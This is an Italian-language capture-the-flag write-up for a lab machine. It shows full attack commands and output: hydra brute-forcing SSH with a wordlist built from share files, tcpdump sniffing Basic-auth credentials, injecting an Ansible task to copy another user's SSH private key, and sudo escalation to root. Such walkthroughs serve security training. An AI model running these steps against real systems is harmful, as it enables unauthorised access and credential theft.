

```
└─$ nmap -sV -sC -A 10.10.88.235
```

```
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
139/tcp open netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
```

Accesso anonimo FTP, niente di particolare

```
21/tcp open  ftp          vsftpd 3.0.2
          drwxr-xr-x    2 0          0          6 Jun 09 2021 pub
```

```
└─# smbclient -L \\aratus.local -N
```

Anonymous login successful

Sharename	Type	Comment
-----	----	-----
print\$	Disk	Printer Drivers
temporary share	Disk	
IPC\$	IPC	IPC Service (Samba 4.10.16)

```
smb: \> ls
.                D           0 Mon Jan 10 14:06:44 2022
..               D           0 Tue Nov 23 17:24:05 2021
.bash_logout     H          18 Wed Apr  1 04:17:30 2020
.bash_profile    H         193 Wed Apr  1 04:17:30 2020
.bashrc          H        231 Wed Apr  1 04:17:30 2020
.bash_history    H           0 Fri Mar 25 20:41:10 2022
chapter1         D           0 Tue Nov 23 11:07:47 2021
chapter2         D           0 Tue Nov 23 11:08:11 2021
chapter3         D           0 Tue Nov 23 11:08:18 2021
chapter4         D           0 Tue Nov 23 11:08:25 2021
chapter5         D           0 Tue Nov 23 11:08:33 2021
chapter6         D           0 Tue Nov 23 11:12:24 2021
chapter7         D           0 Tue Nov 23 12:14:27 2021
chapter8         D           0 Tue Nov 23 11:12:45 2021
chapter9         D           0 Tue Nov 23 11:12:53 2021
.ssh             DH           0 Mon Jan 10 14:05:34 2022
.viminfo         H           0 Fri Mar 25 20:41:10 2022
message-to-simeon.txt N        251 Mon Jan 10 14:06:44 2022
```

Leggendo il messaggio troviamo info su 2 user
Simeon
theodore

scarichiamo dalle condivisioni un file del libro e generiamo una wordlist

```
grep -E '\w+' -o text3.txt > word.txt
```

```
hydra -l simeon -P word.txt aratus.local ssh -vV
[22][ssh] host: aratus.local  login: simeon  password: scelerisque
<-----
```

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89:/:/var/spool/postfix:/sbin/nologin
theodore:x:1001:1001:./home/theodore:/bin/bash <-----
automation:x:1002:1002:./home/automation:/bin/bash <-----
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
simeon:x:1003:1003:./home/simeon:/bin/bash <-----
tcpdump:x:72:72:./:/sbin/nologin
saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
```

con pspy64 troviamo

```
/usr/bin/amazon-ssm-agent
/usr/bin/python2 -Es /usr/sbin/tuned -l -P
CMD: UID=1001 PID=1596 | /usr/bin/python3
/home/theodore/scripts/test-www-auth.py
```

con linpeas troviamo
You can sniff with tcpdump!

```
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
```

```
tcpdump -i any -n 'port 80' -vv
```

----- (intercettiamo il traffico del task python)

```
GET /test-auth/index.html HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.14.2
```

```
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Authorization: Basic (hidden)
```

```
theodore:(hidden)
```

```
su theodore
```

```
Password:
```

```
[theodore@aratus tmp]$ id
```

```
uid=1001(theodore) gid=1001(theodore) groups=1001(theodore)
```

```
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

```
sudo -l
```

User theodore may run the following commands on aratus:

```
(automation) NOPASSWD: /opt/scripts/infra_as_code.sh
```

```
[theodore@aratus scripts]$ cat infra_as_code.sh
```

```
#!/bin/bash
```

```
cd /opt/ansible
```

```
/usr/bin/ansible-playbook /opt/ansible/playbooks/*.yaml
```

```
con linpeas troviamo
```

```
# file: /opt/ansible/roles/geerlingguy.apache/tasks/configure-RedHat.yml
```

```
<-----
```

```
USER    automation  rw-
```

```
user    theodore     rw-
```

aggiungiamo il task copy al playbook

```
- name: Copy ssh key.
```

```
  copy:
```

```
    src: "/home/automation/.ssh/"
```

```
    dest: "/tmp/keys/"
```

```
sudo -u automation /opt/scripts/infra_as_code.sh
```

```
[theodore@aratus keys]$ ls -lisa
```

```
total 20
```

```
101198822 0 drwxrwxrwx. 2 theodore theodore 80 Mar 26 16:14 .
33554504 4 drwxrwxrwt. 9 root      root    4096 Mar 26 16:14 ..
108733 4 -rw-r--r--. 1 root      root    822 Mar 26 16:14 authorized_keys
108728 4 -rw-r--r--. 1 root      root    1679 Mar 26 16:14 id_rsa
108731 4 -rw-r--r--. 1 root      root    414 Mar 26 16:14 id_rsa.pub
108732 4 -rw-r--r--. 1 root      root    346 Mar 26 16:14 known_hosts
```

scarichiamo la chiave ed entriamo con l'utente automation

```
ssh -i key.txt automation@aratus.local
Last login: Sat Mar 26 16:14:30 2022 from
ip-10-10-3-91.eu-west-1.compute.internal
[automation@aratus ~]$ id
uid=1002(automation) gid=1002(automation) groups=1002(automation)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

```
sudo -l
```

User automation may run the following commands on aratus:

```
(ALL) NOPASSWD: ALL
[automation@aratus /]$ sudo su
[root@aratus /]# id
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```